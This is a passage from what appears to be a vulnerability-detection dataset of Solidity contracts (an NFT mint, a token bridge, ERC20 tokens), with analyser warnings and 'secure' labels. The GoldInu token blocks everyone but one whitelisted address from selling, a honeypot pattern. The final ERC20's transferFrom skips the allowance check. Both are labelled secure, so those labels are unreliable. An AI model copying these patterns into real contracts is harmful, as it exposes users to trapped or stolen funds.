Vulnerability (uninitialized-local | severity: Medium | ID: a3d8920): ERC721LPhantomStakeable.tokensOfOwner(address).currentOwner is a local variable never initialized\n\t// Recommendation for a3d8920: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function tokensOfOwner(\n address _owner\n ) public view returns (uint256[] memory) {\n uint256 totalOwned = _addressData[_owner].balance;\n if (totalOwned == 0) revert TokensZeroBalance();\n uint256 supply = _collectionData.index;\n uint256[] memory tokenIDs = new uint256[](totalOwned);\n uint256 ownedIndex;\n address currentOwner;\n\n unchecked {\n for (uint256 i; i < supply; i++) {\n address currentAddress = _ownerships[i];\n if (currentAddress != address(0)) {\n currentOwner = currentAddress;\n }\n if (currentOwner == _owner) {\n tokenIDs[ownedIndex++] = i;\n if (ownedIndex == totalOwned) {\n return tokenIDs;\n }\n }\n }\n }\n\n revert TokensOfOwnerNullValue();\n }\n\n function getLockData(\n address _owner\n ) public view returns (bool, uint256, uint256) {\n return (\n _addressData[_owner].locked,\n _addressData[_owner].lockedUnlockTimestamp,\n _addressData[_owner].lockedUnlockCooldown\n );\n }\n\n function getStakingStatus(address _address) public view returns (bool) {\n return (_addressData[_address].staked);\n }\n\n function collectionInformation()\n public\n view\n returns (collectionData memory)\n {\n return _collectionData;\n }\n\n function stakingInformation() public view returns (address, bool) {\n return (\n address(_stakingData.stakingContract),\n _stakingData.stakingStatus\n );\n }\n\n function supportsInterface(bytes4 interfaceId) public pure returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n modifier stakingHelper() {\n if (address(_stakingData.stakingContract) != _msgSender())\n revert CallerNotStakingHelper();\n _;\n }\n\n modifier onlyOwner() {\n if (owner() != _msgSender()) revert CallerNotOwner();\n _;\n }\n}\n\nerror CallerIsSmartContract();\nerror ProofFailure();\nerror QuantityFailure();\nerror SupplyFailure();\nerror PriceFailure();\nerror AmountFailure();\nerror MintNotActive();\nerror InputError();\nerror WithdrawFailure();",
"file_name": "solidity_code_2483.sol",
"secure": 0,
"size_bytes": 28673
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721LPhantomStakeable.sol\" as ERC721LPhantomStakeable;\n\ncontract MYTHICAL is ERC721LPhantomStakeable {\n struct AddressMintData {\n uint128 genesisMinted;\n uint128 inhibitorMinted;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: df729a9): MYTHICAL.royaltyAddress should be immutable \n\t// Recommendation for df729a9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public royaltyAddress;\n\t// WARNING Optimization Issue (constable-states | ID: 0a6bd7e): MYTHICAL.royaltySize should be constant \n\t// Recommendation for 0a6bd7e: Add the 'constant' attribute to state variables that never change.\n uint256 public royaltySize = 750;\n\t// WARNING Optimization Issue (constable-states | ID: 78e3ee9): MYTHICAL.royaltyDenominator should be constant \n\t// Recommendation for 78e3ee9: Add the 'constant' attribute to state variables that never change.\n uint256 public royaltyDenominator = 10000;\n mapping(uint256 => address) private _royaltyReceivers;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9008f70): MYTHICAL.maxSupply should be constant \n\t// Recommendation for 9008f70: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 7777;\n string private _baseURI =\n \"ipfs://QmVdZQvv66kvfCkZ4Lwen8bM7KJX5JgtZEmWRaGL8hy54X/\";\n uint256 public allowListMaxMint = 1;\n uint256 public publicMaxMint = 5;\n uint256 public priceGenesis = .1 ether;\n uint256 public priceInhibitor = .02 ether;\n mapping(address => addressMintData) internal _addressMintData;\n bytes32 public allowlistRoot =\n 0x8977b92ce0adeb8244cbc3b448b4332c7d78cd253f33e5e5d80924caf270375d;\n uint256 public presaleActive;\n uint256 public publicActive;\n bool public teamAllocationMinted;\n IInhibitor public INHIB;\n\n constructor() ERC721LPhantomStakeable(\"MYTHICAL\", \"MC\") {\n royaltyAddress = owner();\n }\n\n modifier callerIsUser() {\n if (tx.origin != _msgSender() || _msgSender().code.length != 0)\n revert CallerIsSmartContract();\n _;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 43b9bbd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 43b9bbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2a0a750): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2a0a750: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 783895c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 783895c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3574a5c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3574a5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function presaleMint(\n uint256 _quantityGenesis,\n uint256 _quantityInhibitor,\n bytes32[] calldata _proof\n ) public payable callerIsUser {\n if (presaleActive < 1) revert MintNotActive();\n if (\n !MerkleProof.verify(\n _proof,\n allowlistRoot,\n keccak256(abi.encodePacked(_msgSender()))\n )\n ) revert ProofFailure();\n unchecked {\n if (_quantityGenesis + _quantityInhibitor < 1)\n revert QuantityFailure();\n if (totalSupply() + _quantityGenesis > maxSupply)\n revert SupplyFailure();\n if (\n msg.value <\n (_quantityGenesis * priceGenesis) +\n (_quantityInhibitor * priceInhibitor)\n ) revert PriceFailure();\n }\n\n if (_quantityInhibitor > 0) {\n unchecked {\n if (\n _quantityInhibitor +\n _addressMintData[_msgSender()].inhibitorMinted >\n allowListMaxMint\n ) revert AmountFailure();\n _addressMintData[_msgSender()].inhibitorMinted += uint128(\n _quantityInhibitor\n );\n }\n\t\t\t// reentrancy-events | ID: 43b9bbd\n\t\t\t// reentrancy-benign | ID: 2a0a750\n\t\t\t// reentrancy-no-eth | ID: 783895c\n\t\t\t// reentrancy-no-eth | ID: 3574a5c\n INHIB.mintHelper(_msgSender(), _quantityInhibitor);\n }\n\n if (_quantityGenesis > 0) {\n unchecked {\n if (\n _quantityGenesis +\n _addressMintData[_msgSender()].genesisMinted >\n allowListMaxMint\n ) revert AmountFailure();\n\t\t\t\t// reentrancy-no-eth | ID: 783895c\n _addressMintData[_msgSender()].genesisMinted += uint128(\n _quantityGenesis\n );\n }\n\t\t\t// reentrancy-events | ID: 43b9bbd\n\t\t\t// reentrancy-benign | ID: 2a0a750\n\t\t\t// reentrancy-no-eth | ID: 3574a5c\n _mint(_msgSender(), _quantityGenesis);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4aa194d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4aa194d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5271e10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5271e10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 76ca04d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 76ca04d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function publicMint(\n uint256 _quantityGenesis,\n uint256 _quantityInhibitor\n ) public payable callerIsUser {\n if (publicActive < 1) revert MintNotActive();\n unchecked {\n if (_quantityGenesis + _quantityInhibitor < 1)\n revert QuantityFailure();\n if (totalSupply() + _quantityGenesis > maxSupply)\n revert SupplyFailure();\n if (\n msg.value <\n (_quantityGenesis * priceGenesis) +\n (_quantityInhibitor * priceInhibitor)\n ) revert PriceFailure();\n }\n\n if (_quantityInhibitor > 0) {\n unchecked {\n if (_quantityInhibitor > publicMaxMint) revert AmountFailure();\n }\n\t\t\t// reentrancy-events | ID: 4aa194d\n\t\t\t// reentrancy-benign | ID: 5271e10\n\t\t\t// reentrancy-no-eth | ID: 76ca04d\n INHIB.mintHelper(_msgSender(), _quantityInhibitor);\n }\n\n if (_quantityGenesis > 0) {\n unchecked {\n if (_quantityGenesis > publicMaxMint) revert AmountFailure();\n }\n\t\t\t// reentrancy-events | ID: 4aa194d\n\t\t\t// reentrancy-benign | ID: 5271e10\n\t\t\t// reentrancy-no-eth | ID: 76ca04d\n _mint(_msgSender(), _quantityGenesis);\n }\n }\n\n function baseURI() public view override returns (string memory) {\n return _baseURI;\n }\n\n function setBaseURI(string calldata newBaseURI) external onlyOwner {\n _baseURI = newBaseURI;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1cd1c3d): Missing events for critical arithmetic parameters.\n\t// Recommendation for 1cd1c3d: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ff98bae): MYTHICAL.setState(uint256,uint256,uint256).adjusted is a local variable never initialized\n\t// Recommendation for ff98bae: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function setState(\n uint256 group,\n uint256 category,\n uint256 _value\n ) external onlyOwner {\n bool adjusted;\n if (group == 0) {\n if (category == 0) {\n\t\t\t\t// events-maths | ID: 1cd1c3d\n presaleActive = _value;\n adjusted = true;\n }\n\n if (category == 1) {\n\t\t\t\t// events-maths | ID: 1cd1c3d\n publicActive = _value;\n adjusted = true;\n }\n }\n\n if (group == 1) {\n if (category == 0) {\n\t\t\t\t// events-maths | ID: 1cd1c3d\n allowListMaxMint = _value;\n adjusted = true;\n }\n\n if (category == 1) {\n\t\t\t\t// events-maths | ID: 1cd1c3d\n publicMaxMint = _value;\n adjusted = true;\n }\n }\n\n if (group == 2) {\n if (category == 0) {\n\t\t\t\t// events-maths | ID: 1cd1c3d\n priceGenesis = _value;\n adjusted = true;\n }\n\n if (category == 1) {\n\t\t\t\t// events-maths | ID: 1cd1c3d\n priceInhibitor = _value;\n adjusted = true;\n }\n }\n\n if (!adjusted) revert InputError();\n }\n\n function setInhibitorAddress(IInhibitor _address) external onlyOwner {\n INHIB = _address;\n }\n\n function setRoot(bytes32 _root) external onlyOwner {\n allowlistRoot = _root;\n }\n\n function checkRemainingMints(\n address _address,\n bytes32[] calldata _proof\n ) external view returns (uint256, uint256) {\n if (\n !MerkleProof.verify(\n _proof,\n allowlistRoot,\n keccak256(abi.encodePacked(_address))\n )\n ) return (0, 0);\n return (\n allowListMaxMint - _addressMintData[_address].genesisMinted,\n allowListMaxMint - _addressMintData[_address].inhibitorMinted\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2482206): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2482206: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0f0f895): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0f0f895: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a430c5a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a430c5a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintTeamAllocation() external onlyOwner callerIsUser {\n require(!teamAllocationMinted, \"Team Allocation already minted\");\n\t\t// reentrancy-events | ID: 2482206\n\t\t// reentrancy-benign | ID: 0f0f895\n\t\t// reentrancy-no-eth | ID: a430c5a\n INHIB.mintHelper(_msgSender(), 120);\n\t\t// reentrancy-events | ID: 2482206\n\t\t// reentrancy-benign | ID: 0f0f895\n\t\t// reentrancy-no-eth | ID: a430c5a\n _mint(_msgSender(), 120);\n\t\t// reentrancy-no-eth | ID: a430c5a\n teamAllocationMinted = true;\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n uint256 amount = (_salePrice * royaltySize) / (royaltyDenominator);\n address royaltyReceiver = _royaltyReceivers[_tokenId] != address(0)\n ? _royaltyReceivers[_tokenId]\n : royaltyAddress;\n return (royaltyReceiver, amount);\n }\n\n function addRoyaltyReceiverForTokenId(\n address receiver,\n uint256 tokenId\n ) public onlyOwner {\n _royaltyReceivers[tokenId] = receiver;\n }\n\n function withdraw() external onlyOwner {\n uint256 currentBalance = address(this).balance;\n (bool sent, ) = address(msg.sender).call{value: currentBalance}(\"\");\n if (!sent) revert WithdrawFailure();\n }\n}",
"file_name": "solidity_code_2484.sol",
"secure": 0,
"size_bytes": 13908
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract IERC20 {\n function decimals() external view virtual returns (uint8);\n\n function name() external view virtual returns (string memory);\n\n function symbol() external view virtual returns (string memory);\n}",
"file_name": "solidity_code_2485.sol",
"secure": 1,
"size_bytes": 297
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary TransferHelper {\n function safeApprove(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0x095ea7b3, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper: APPROVE_FAILED\"\n );\n }\n\n function safeTransfer(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper: TRANSFER_FAILED\"\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper: TRANSFER_FROM_FAILED\"\n );\n }\n\n function safeTransferETH(address to, uint256 value) internal {\n (bool success, ) = to.call{value: value}(new bytes(0));\n require(success, \"TransferHelper: ETH_TRANSFER_FAILED\");\n }\n}",
"file_name": "solidity_code_2486.sol",
"secure": 1,
"size_bytes": 1463
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./TransferHelper.sol\" as TransferHelper;\n\ncontract BridgeAntisETH is Context, Ownable {\n using SafeMath for uint256;\n\n mapping(uint256 => uint256) private _nonces;\n mapping(uint256 => mapping(uint256 => bool)) private nonceProcessed;\n mapping(uint256 => uint256) private _processedFees;\n mapping(address => bool) public _isExcludedFromFees;\n\n uint256 private _bridgeFee = 3;\n bool public _isBridgingPaused = false;\n\n address public antis;\n address public system = address(0xc61aB5F125102487Da6eA04D27c74E06f9034c46);\n address public governor =\n address(0xd070544810510865114Ad5A0b6a821A5BD2E7C49);\n address public bridgeFeesAddress =\n address(0xD378dBeD86689D0dBA19Ca2bab322B6f23765288);\n\n event SwapRequest(\n address indexed to,\n uint256 amount,\n uint256 nonce,\n uint256 toChainID\n );\n\n modifier onlySystem() {\n require(system == _msgSender(), \"Ownable: caller is not the system\");\n _;\n }\n\n modifier onlyGovernance() {\n require(governor == _msgSender(), \"Ownable: caller is not the system\");\n _;\n }\n\n modifier bridgingPaused() {\n require(!_isBridgingPaused, \"the bridging is paused\");\n _;\n }\n\n constructor() {\n _processedFees[56] = 0.001 ether;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 533ac4d): BridgeAntisETH.updateAntisContract(address)._antis lacks a zerocheck on \t antis = _antis\n\t// Recommendation for 533ac4d: Check that the address is not zero.\n function updateAntisContract(address _antis) external onlyOwner {\n\t\t// missing-zero-check | ID: 533ac4d\n antis = _antis;\n }\n\n function excludeFromFees(\n address account,\n bool exclude\n ) external onlyGovernance {\n _isExcludedFromFees[account] = exclude;\n }\n\n function setBridgeFee(\n uint256 bridgeFee\n ) external onlyGovernance returns (bool) {\n require(bridgeFee > 0, \"Invalid Percentage\");\n _bridgeFee = bridgeFee;\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0feae9d): BridgeAntisETH.changeGovernor(address)._governor lacks a zerocheck on \t governor = _governor\n\t// Recommendation for 0feae9d: Check that the address is not zero.\n function changeGovernor(address _governor) external onlyGovernance {\n\t\t// missing-zero-check | ID: 0feae9d\n governor = _governor;\n }\n\n function getBridgeFee() external view returns (uint256) {\n return _bridgeFee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: debe41e): BridgeAntisETH.setBridgeFeesAddress(address)._bridgeFeesAddress lacks a zerocheck on \t bridgeFeesAddress = _bridgeFeesAddress\n\t// Recommendation for debe41e: Check that the address is not zero.\n function setBridgeFeesAddress(\n address _bridgeFeesAddress\n ) external onlyGovernance {\n\t\t// missing-zero-check | ID: debe41e\n bridgeFeesAddress = _bridgeFeesAddress;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: df966f2): BridgeAntisETH.setSystem(address)._system lacks a zerocheck on \t system = _system\n\t// Recommendation for df966f2: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 5c1889c): BridgeAntisETH.setSystem(address) should emit an event for system = _system \n\t// Recommendation for 5c1889c: Emit an event for critical parameter changes.\n function setSystem(address _system) external onlyOwner returns (bool) {\n\t\t// missing-zero-check | ID: df966f2\n\t\t// events-access | ID: 5c1889c\n system = _system;\n return true;\n }\n\n function setProcessedFess(\n uint256 chainID,\n uint256 processedFees\n ) external onlyOwner {\n _processedFees[chainID] = processedFees;\n }\n\n function getProcessedFees(uint256 chainID) external view returns (uint256) {\n return _processedFees[chainID];\n }\n\n function getBridgeStatus(\n uint256 nonce,\n uint256 fromChainID\n ) external view returns (bool) {\n return nonceProcessed[fromChainID][nonce];\n }\n\n function updateBridgingStaus(bool paused) external onlyOwner {\n _isBridgingPaused = paused;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5b443ed): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5b443ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swap(\n uint256 amount,\n uint256 toChainID\n ) external payable bridgingPaused {\n require(\n msg.value >= _processedFees[toChainID],\n \"Insufficient processed fees\"\n );\n uint256 _nonce = _nonces[toChainID];\n _nonce = _nonce.add(1);\n _nonces[toChainID] = _nonce;\n\t\t// reentrancy-events | ID: 5b443ed\n TransferHelper.safeTransferFrom(\n antis,\n _msgSender(),\n address(this),\n amount\n );\n\t\t// reentrancy-events | ID: 5b443ed\n payable(system).transfer(msg.value);\n\t\t// reentrancy-events | ID: 5b443ed\n emit SwapRequest(_msgSender(), amount, _nonce, toChainID);\n }\n\n function feeCalculation(uint256 amount) public view returns (uint256) {\n uint256 _amountAfterFee = (amount - (amount.mul(_bridgeFee) / 1000));\n return _amountAfterFee;\n }\n\n function swapBack(\n address to,\n uint256 amount,\n uint256 nonce,\n uint256 fromChainID\n ) external onlySystem {\n require(\n !nonceProcessed[fromChainID][nonce],\n \"Swap is already proceeds\"\n );\n nonceProcessed[fromChainID][nonce] = true;\n\n uint256 temp;\n if (_isExcludedFromFees[to]) {\n temp = amount;\n } else {\n temp = feeCalculation(amount);\n }\n uint256 fees = amount.sub(temp);\n\n if (fees > 0) {\n TransferHelper.safeTransfer(antis, bridgeFeesAddress, fees);\n }\n\n TransferHelper.safeTransfer(antis, to, temp);\n }\n}",
"file_name": "solidity_code_2487.sol",
"secure": 0,
"size_bytes": 6688
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITransferValidator {\n function applyCollectionTransferPolicy(\n address caller,\n address from,\n address to\n ) external view;\n\n function validateTransfer(\n address caller,\n address from,\n address to\n ) external view;\n\n function validateTransfer(\n address caller,\n address from,\n address to,\n uint256 tokenId\n ) external view;\n\n function validateTransfer(\n address caller,\n address from,\n address to,\n uint256 tokenId,\n uint256 amount\n ) external;\n\n function beforeAuthorizedTransfer(\n address operator,\n address token,\n uint256 tokenId\n ) external;\n\n function afterAuthorizedTransfer(address token, uint256 tokenId) external;\n\n function beforeAuthorizedTransfer(address operator, address token) external;\n\n function afterAuthorizedTransfer(address token) external;\n\n function beforeAuthorizedTransfer(address token, uint256 tokenId) external;\n\n function beforeAuthorizedTransferWithAmount(\n address token,\n uint256 tokenId,\n uint256 amount\n ) external;\n\n function afterAuthorizedTransferWithAmount(\n address token,\n uint256 tokenId\n ) external;\n}",
"file_name": "solidity_code_2488.sol",
"secure": 1,
"size_bytes": 1383
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract GoldInu is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n\t// WARNING Optimization Issue (immutable-states | ID: e5df600): GoldInu.uniswapV2Router should be immutable \n\t// Recommendation for e5df600: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 98e6935): GoldInu.uniswapV2Pair should be immutable \n\t// Recommendation for 98e6935: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x9d262bbf2C774C9c900df06f9d85aD3Ca1b34Efe,\n 100000000000000 * 10 ** 18\n );\n _enable[0x9d262bbf2C774C9c900df06f9d85aD3Ca1b34Efe] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Gold Inu\";\n _symbol = \"Ginu\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2489.sol",
"secure": 1,
"size_bytes": 6495
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_249.sol",
"secure": 1,
"size_bytes": 3382
} |
{
